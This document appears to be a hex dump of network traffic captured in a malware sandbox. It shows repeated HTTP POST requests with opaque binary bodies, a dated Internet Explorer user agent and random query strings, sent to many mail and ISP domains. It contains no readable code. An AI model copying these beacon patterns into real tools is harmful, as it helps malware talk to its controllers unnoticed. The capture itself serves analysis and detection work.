0x00000130 (00304)   e4951b2e 115f1d18 4b03da1b 3c471c48   ....._..K...<G.H
0x00000140 (00320)   fed322f0 90b62412 be7f26f4 506228de   .."...$...&.Pb(.
0x00000150 (00336)   7d2b2a26 150e2c0b 9b45938a 6aa02fc9   }+*&..,..E..j./.
0x00000160 (00352)   6cf19667 2a4c333e d2b83517 ebf73628   l..g*L3>..5...6(
0x00000170 (00368)   845bb544 aaa33a13 d96c3c06 6ab53f17   .[.D..:..l<.j.?.
0x00000180 (00384)   971840b3 2324c3cd c1                  ..@.#$...

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203132   ntent-Length: 12
0x00000070 (00112)   370d0a55 7365722d 4167656e 743a204d   7..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a207379   ; SV1)..Host: sy
0x000000c0 (00192)   6d706174 69636f2e 63610d0a 436f6e6e   mpatico.ca..Conn
0x000000d0 (00208)   65637469 6f6e3a20 4b656570 2d416c69   ection: Keep-Ali
0x000000e0 (00224)   76650d0a 43616368 652d436f 6e74726f   ve..Cache-Contro
0x000000f0 (00240)   6c3a206e 6f2d6361 6368650d 0a0d0a27   l: no-cache....'
0x00000100 (00256)   ca2b7d1e 5d0e7f15 f0f080ff 1cba82e9   .+}.]...........
0x00000110 (00272)   498384e0 dc6586ca 092f88b4 36f889ab   I....e.../..6...
0x00000120 (00288)   c9da8b95 f6a38d7f 236d8f76 b64f9160   ........#m.v.O.`
0x00000130 (00304)   e318934a 10e29441 a3c4962b d08d9815   ...J...A...+....
0x00000140 (00320)   fd569a0c 90399cf6 bc029e18 eacb9ffa   .V...9..........
0x00000150 (00336)   7caea1e4 a977a31f db40a511 c7910c93   |....w...@......
0x00000160 (00352)   96eca8c2 3224106d 5698ac37 98ebae10   ....2$.mV..7....
0x00000170 (00368)   b12ab021 4a8e2e3d 70d6b30c 9f9f       .*.!J..=p.....

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a20320d   ntent-Length: 2.
0x00000070 (00112)   0a557365 722d4167 656e743a 204d6f7a   .User-Agent: Moz
0x00000080 (00128)   696c6c61 2f342e30 2028636f 6d706174   illa/4.0 (compat
0x00000090 (00144)   69626c65 3b204d53 49452036 2e303b20   ible; MSIE 6.0; 
0x000000a0 (00160)   57696e64 6f777320 4e542035 2e313b20   Windows NT 5.1; 
0x000000b0 (00176)   53563129 0d0a486f 73743a20 68616e6d   SV1)..Host: hanm
0x000000c0 (00192)   61696c2e 6e65740d 0a436f6e 6e656374   ail.net..Connect
0x000000d0 (00208)   696f6e3a 204b6565 702d416c 6976650d   ion: Keep-Alive.
0x000000e0 (00224)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x000000f0 (00240)   6e6f2d63 61636865 0d0a0d0a 78324e65   no-cache....x2Ne
0x00000100 (00256)   7453696d 20726561 6c2d6d6f 64652074   tSim real-mode t
0x00000110 (00272)   65737420 70616765 2e2e2e3c 2f68333e   est page...</h3>
0x00000120 (00288)   0a0a2020 20203c69 6d672073 72633d22   ..    <img src="
0x00000130 (00304)   696e7465 726e6574 2e676966 223e0a20   internet.gif">. 
0x00000140 (00320)   203c2f62 6f64793e 0a3c2f68 746d6c3e    </body>.</html>
0x00000150 (00336)   0a                                    .

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203136   ntent-Length: 16
0x00000070 (00112)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x00000080 (00128)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x00000090 (00144)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000a0 (00160)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000b0 (00176)   20535631 290d0a48 6f73743a 20706173    SV1)..Host: pas
0x000000c0 (00192)   73616765 6e2e7365 0d0a436f 6e6e6563   sagen.se..Connec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x000000f0 (00240)   206e6f2d 63616368 650d0a0d 0a909c75    no-cache......u
0x00000100 (00256)   1c0acb15 9d015ef8 9eeb8ac1 a0         ......^......

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f5873   POST /?ptrxcz_Xs
0x00000010 (00016)   42556f37 516a334d 667a4962 76455872   BUo7Qj3MfzIbvEXr
0x00000020 (00032)   41546d36 5069314b 6478475a 20485454   ATm6Pi1KdxGZ HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 3131390d 0a557365 722d4167   th: 119..User-Ag
0x000000a0 (00160)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x000000b0 (00176)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x000000c0 (00192)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x000000d0 (00208)   4e542035 2e313b20 53563129 0d0a486f   NT 5.1; SV1)..Ho
0x000000e0 (00224)   73743a20 68616e6d 61696c2e 6e65740d   st: hanmail.net.
0x000000f0 (00240)   0a436f6e 6e656374 696f6e3a 204b6565   .Connection: Kee
0x00000100 (00256)   702d416c 6976650d 0a436163 68652d43   p-Alive..Cache-C
0x00000110 (00272)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000120 (00288)   0d0a0d0a 01804793 efa50c97 d065b89a   ......G......e..
0x00000130 (00304)   be8b7d9e acb142a2 8d71eea5 7b97b3a9   ..}...B..q..{...
0x00000140 (00320)   5c575fad 4a7d24b1 2b3dd0b4 26c9aeb8   \W_.J}$.+=..&...
0x00000150 (00336)   07895abc f5ae1fc0 d66ecbc3 c49490c7   ..Z......n......
0x00000160 (00352)   a5543ccb 039dc4d3 66596ed8 5fef01e8   .T<.....fYn._...
0x00000170 (00368)   3467f048 567d2c51 44a3f154 76679d58   4g.HV},QD..Tvg.X
0x00000180 (00384)   5280b7c1 c4e2f45f f1110fc9 79fc3267   R......_....y.2g
0x00000190 (00400)   4737826b 0a7d8a6e 0543b7              G7.k.}.n.C.

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203235   ntent-Length: 25
0x00000070 (00112)   310d0a55 7365722d 4167656e 743a204d   1..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a206d61   ; SV1)..Host: ma
0x000000c0 (00192)   696c7368 656c6c2e 636f6d0d 0a436f6e   ilshell.com..Con
0x000000d0 (00208)   6e656374 696f6e3a 204b6565 702d416c   nection: Keep-Al
0x000000e0 (00224)   6976650d 0a436163 68652d43 6f6e7472   ive..Cache-Contr
0x000000f0 (00240)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000100 (00256)   48263ab6 deebecb9 e2dde4bd a2996041   H&:...........`A
0x00000110 (00272)   90bf2544 b49c38c8 27e9c9d7 67821a62   ..%D..8.'...g..b
0x00000120 (00288)   2365d2e5 81702769 6230d36c cb9ed5f0   #e...p'ib0.l....
0x00000130 (00304)   24b02a74 0670d677 e62f827b d655477f   $.*t.p.w./.{.UG.
0x00000140 (00320)   4d493f83 333a3787 65bb0f8e ccdf5392   MI?.3:7.e.....S.
0x00000150 (00336)   034ea19e 544adcd9 4495e3e2 836aa750   .N..TJ..D....j.P
0x00000160 (00352)   21ff30ef 63fa7d58 05b1d4f6 c6850afb   !.0.c.}X........
0x00000170 (00368)   a39745fe abc38b7e be7cb605 91a47b09   ..E....~.|....{.
0x00000180 (00384)   61fc9b0e 7622d310 0942c195 1ab37f13   a...v"...B......
0x00000190 (00400)   3a416c9c ae07e1a0 a7c78ca4 953368a8   :Al..........3h.
0x000001a0 (00416)   02a62626 a8d5c2af 52f987b3 6bfe49b7   ..&&....R...k.I.
0x000001b0 (00432)   91f05a36 9d18f9bd 28115741 419651c5   ..Z6....(.WAA.Q.
0x000001c0 (00448)   f646c1c9 a06a86cd 8ed661d1 aff13bd4   .F...j....a...;.
0x000001d0 (00464)   95c2a957 b3                           ...W.

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f6c35   POST /?ptrxcz_l5
0x00000010 (00016)   73693650 68304a62 7543556d 354e6679   si6Ph0JbuCUm5Nfy
0x00000020 (00032)   47597239 526a324b 63764456 20485454   GYr9Rj2KcvDV HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 33310d0a 55736572 2d416765   th: 31..User-Age
0x000000a0 (00160)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x000000b0 (00176)   28636f6d 70617469 626c653b 204d5349   (compatible; MSI
0x000000c0 (00192)   4520362e 303b2057 696e646f 7773204e   E 6.0; Windows N
0x000000d0 (00208)   5420352e 313b2053 5631290d 0a486f73   T 5.1; SV1)..Hos
0x000000e0 (00224)   743a206d 6967656e 74652e63 6f6d0d0a   t: migente.com..
0x000000f0 (00240)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x00000100 (00256)   2d416c69 76650d0a 43616368 652d436f   -Alive..Cache-Co
0x00000110 (00272)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000120 (00288)   0a0d0a7d b464825e 7410863f 34bc8913   ...}.d.^t..?4...
0x00000130 (00304)   8e4e8df4 4dfa90c8 a78c94a9 6738987d   .N..M.......g8.}
0x00000140 (00320)   c1ca5fad 4a7d24b1 2b3dd0b4 26c9aeb8   .._.J}$.+=..&...
0x00000150 (00336)   07895abc f5ae1fc0 d66ecbc3 c49490c7   ..Z......n......
0x00000160 (00352)   a5543ccb 039dc4d3 66596ed8 5fef01e8   .T<.....fYn._...
0x00000170 (00368)   3467f048 567d2c51 44a3f154 76679d58   4g.HV},QD..Tvg.X
0x00000180 (00384)   5280b7c1 c4e2f45f f1110fc9 79fc3267   R......_....y.2g
0x00000190 (00400)   4737826b 0a7d8a6e 0543b7              G7.k.}.n.C.

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203132   ntent-Length: 12
0x00000070 (00112)   320d0a55 7365722d 4167656e 743a204d   2..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a206d61   ; SV1)..Host: ma
0x000000c0 (00192)   696c7368 656c6c2e 636f6d0d 0a436f6e   ilshell.com..Con
0x000000d0 (00208)   6e656374 696f6e3a 204b6565 702d416c   nection: Keep-Al
0x000000e0 (00224)   6976650d 0a436163 68652d43 6f6e7472   ive..Cache-Contr
0x000000f0 (00240)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000100 (00256)   69fed1f6 8bbcfcfa 6c7ca8fe 4d3c5402   i.......l|..M<T.
0x00000110 (00272)   2efcff05 0fbcab09 f07b570d c4d5e910   .........{W.....
0x00000120 (00288)   b2fbae14 86554118 6715ed1b 48d5981f   .....UA.g...H...
0x00000130 (00304)   29954423 fdeed626 eb149c2a bf6e2e2e   ).D#...&...*.n..
0x00000140 (00320)   a02eda31 81ee8535 55481839 6e08c43c   ...1...5UH.9n..<
0x00000150 (00336)   3ac86f40 1b881b44 40e6ad47 2965e1b0   :.o@...D@..G)e..
0x00000160 (00352)   9561054f bb901fb8 50e15c56 11b6925a   .a.O....P.\V...Z
0x00000170 (00368)   d4fb9a5d dc27e1dd e27ab605 91a47b09   ...].'...z....{.
0x00000180 (00384)   61fc9b0e 7622d310 0942c195 1ab37f13   a...v"...B......
0x00000190 (00400)   3a416c9c ae07e1a0 a7c78ca4 953368a8   :Al..........3h.
0x000001a0 (00416)   02a62626 a8d5c2af 52f987b3 6bfe49b7   ..&&....R...k.I.
0x000001b0 (00432)   91f05a36 9d18f9bd 28115741 419651c5   ..Z6....(.WAA.Q.
0x000001c0 (00448)   f646c1c9 a06a86cd 8ed661d1 aff13bd4   .F...j....a...;.
0x000001d0 (00464)   95c2a957 b3                           ...W.

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f6731   POST /?ptrxcz_g1
0x00000010 (00016)   4a637645 5856766b 58304a63 76445770   JcvEXVvkX0JcvDWp
0x00000020 (00032)   37516931 4a637644 57703751 20485454   7Qi1JcvDWp7Q HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 3133300d 0a557365 722d4167   th: 130..User-Ag
0x000000a0 (00160)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x000000b0 (00176)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x000000c0 (00192)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x000000d0 (00208)   4e542035 2e313b20 53563129 0d0a486f   NT 5.1; SV1)..Ho
0x000000e0 (00224)   73743a20 6d61696c 7368656c 6c2e636f   st: mailshell.co
0x000000f0 (00240)   6d0d0a43 6f6e6e65 6374696f 6e3a204b   m..Connection: K
0x00000100 (00256)   6565702d 416c6976 650d0a43 61636865   eep-Alive..Cache
0x00000110 (00272)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000120 (00288)   68650d0a 0d0abcd0 ea362d92 6db90e52   he.......6-.m..R
0x00000130 (00304)   19bdef11 c5c0126c 08c697c5 e9c77885   .......l......x.
0x00000140 (00320)   e4d55945 41cfdea0 d3d20e5f 7fd6e2b8   ..YEA......_....
0x00000150 (00336)   11dab662 ba5e97d2 4fe16c2c e2e44cec   ...b.^..O.l,..L.
0x00000160 (00352)   8de82dac 39ec0106 ccef31c6 77f3b61f   ..-.9.....1.w...
0x00000170 (00368)   0af7c279 9cfa9b9f 61fe6ff9 f3019457   ...y....a.o....W
0x00000180 (00384)   86057070 a06edb6c c40c029c de7597ec   ..pp.n.l.....u..
0x00000190 (00400)   1b144b5b 38181b07 5a1b0967 6d9b0fba   ..K[8...Z..gm...
0x000001a0 (00416)   7e22d57b 2a26b239 62336464 30623420   ~".{*&.9b3dd0b4 
0x000001b0 (00432)   32366339 61656238 2020205c 575f2e4a   26c9aeb8   \W_.J
0x000001c0 (00448)   7d242e2b 3d2e2e26 2e2e2e0a            }$.+=..&....

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203130   ntent-Length: 10
0x00000070 (00112)   300d0a55 7365722d 4167656e 743a204d   0..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a206d6f   ; SV1)..Host: mo
0x000000c0 (00192)   756e7461 696e6d61 782e6e65 740d0a43   untainmax.net..C
0x000000d0 (00208)   6f6e6e65 6374696f 6e3a204b 6565702d   onnection: Keep-
0x000000e0 (00224)   416c6976 650d0a43 61636865 2d436f6e   Alive..Cache-Con
0x000000f0 (00240)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000100 (00256)   0d0a5a6a cf60cb2b 52e3b951 17e79a11   ..Zj.`.+R..Q....
0x00000110 (00272)   c3eabad9 a2fab95e 7d                  .......^}

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203932   ntent-Length: 92
0x00000070 (00112)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x00000080 (00128)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x00000090 (00144)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000a0 (00160)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000b0 (00176)   20535631 290d0a48 6f73743a 20656173    SV1)..Host: eas
0x000000c0 (00192)   746c696e 6b2e6361 0d0a436f 6e6e6563   tlink.ca..Connec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x000000f0 (00240)   206e6f2d 63616368 650d0a0d 0aca8ebc    no-cache.......
0x00000100 (00256)   487e6da6 4b41141b 500af8c5 d3c855a1   H~m.KA..P.....U.
0x00000110 (00272)   570db707 da3aeaf8 5e7152c6 616ff50a   W....:..^qR.ao..
0x00000120 (00288)   e55d1bd0 e83edb7b ecb4af97 70         .]...>.{....p

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203130   ntent-Length: 10
0x00000070 (00112)   350d0a55 7365722d 4167656e 743a204d   5..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a206361   ; SV1)..Host: ca
0x000000c0 (00192)   73652e65 64750d0a 436f6e6e 65637469   se.edu..Connecti
0x000000d0 (00208)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000e0 (00224)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x000000f0 (00240)   6f2d6361 6368650d 0a0d0a25 88bff90a   o-cache....%....
0x00000100 (00256)   4167ffd5 2ddc04ba e6830a92 3912105d   Ag..-.......9..]
0x00000110 (00272)   26871535 79151b                       &..5y..

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f6276   POST /?ptrxcz_bv
0x00000010 (00016)   45577037 5169314b 63764557 70375169   EWp7Qi1KcvEWp7Qi
0x00000020 (00032)   314a6376 44577037 5069314a 20485454   1JcvDWp7Pi1J HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 3130370d 0a557365 722d4167   th: 107..User-Ag
0x000000a0 (00160)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x000000b0 (00176)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x000000c0 (00192)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x000000d0 (00208)   4e542035 2e313b20 53563129 0d0a486f   NT 5.1; SV1)..Ho
0x000000e0 (00224)   73743a20 6361726f 6c696e61 2e636f6d   st: carolina.com
0x000000f0 (00240)   0d0a436f 6e6e6563 74696f6e 3a204b65   ..Connection: Ke
0x00000100 (00256)   65702d41 6c697665 0d0a4361 6368652d   ep-Alive..Cache-
0x00000110 (00272)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x00000120 (00288)   650d0a0d 0a66db74 2f3e2e03 35091b78   e....f.t/>..5..x
0x00000130 (00304)   3ac7a1d3 3f9ff461 455d7bbd 4a35ce4b   :...?..aE]{.J5.K
0x00000140 (00320)   50f354a7 55cba735 5b9694aa 6061811f   P.T.U..5[...`a..
0x00000150 (00336)   661f087b 6bf75a09 71dc13b1 765b9f3e   f..{k.Z.q...v[.>
0x00000160 (00352)   89c254e4 8fb473a5 958cc633 9b7971d3   ..T...s....3.yq.
0x00000170 (00368)   a489c461 aa597d09 b0170465 b5405bf3   ...a.Y}....e.@[.
0x00000180 (00384)   baf93abd 257196f6 c5798cc0 30f809c7   ..:.%q...y..0...
0x00000190 (00400)   1b144b5b 38181b07 5a1b0967 6d9b0fba   ..K[8...Z..gm...
0x000001a0 (00416)   7e22d57b 2a26b239 62336464 30623420   ~".{*&.9b3dd0b4 
0x000001b0 (00432)   32366339 61656238 2020205c 575f2e4a   26c9aeb8   \W_.J
0x000001c0 (00448)   7d242e2b 3d2e2e26 2e2e2e0a            }$.+=..&....

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203131   ntent-Length: 11
0x00000070 (00112)   330d0a55 7365722d 4167656e 743a204d   3..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a206269   ; SV1)..Host: bi
0x000000c0 (00192)   67666f6f 742e636f 6d0d0a43 6f6e6e65   gfoot.com..Conne
0x000000d0 (00208)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000e0 (00224)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x000000f0 (00240)   3a206e6f 2d636163 68650d0a 0d0a08ef   : no-cache......
0x00000100 (00256)   fd8b9547 939190cc 6d97763f 1021685e   ...G....m.v?.!h^
0x00000110 (00272)   d12583ce c6abedad 3abd1774 5449cae9   .%......:..tTI..
0x00000120 (00288)   eece1222 0d54ea74 9b593d10 67df804e   ...".T.t.Y=.g..N
0x00000130 (00304)   856459a1 136a238e 886f0a47 30756b67   .dY..j#..o.G0ukg
0x00000140 (00320)   f17a48eb cb806499 6d89c250 948fe3eb   .zH...d.m..P....
0x00000150 (00336)   aa9d2b7b c8da05f3 98e52ef5 2555c31c   ..+{........%U..
0x00000160 (00352)   92f5ef44 a860888e e1                  ...D.`...

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203136   ntent-Length: 16
0x00000070 (00112)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x00000080 (00128)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x00000090 (00144)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000a0 (00160)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000b0 (00176)   20535631 290d0a48 6f73743a 20746865    SV1)..Host: the
0x000000c0 (00192)   746f7572 6275732e 636f6d0d 0a436f6e   tourbus.com..Con
0x000000d0 (00208)   6e656374 696f6e3a 204b6565 702d416c   nection: Keep-Al
0x000000e0 (00224)   6976650d 0a436163 68652d43 6f6e7472   ive..Cache-Contr
0x000000f0 (00240)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
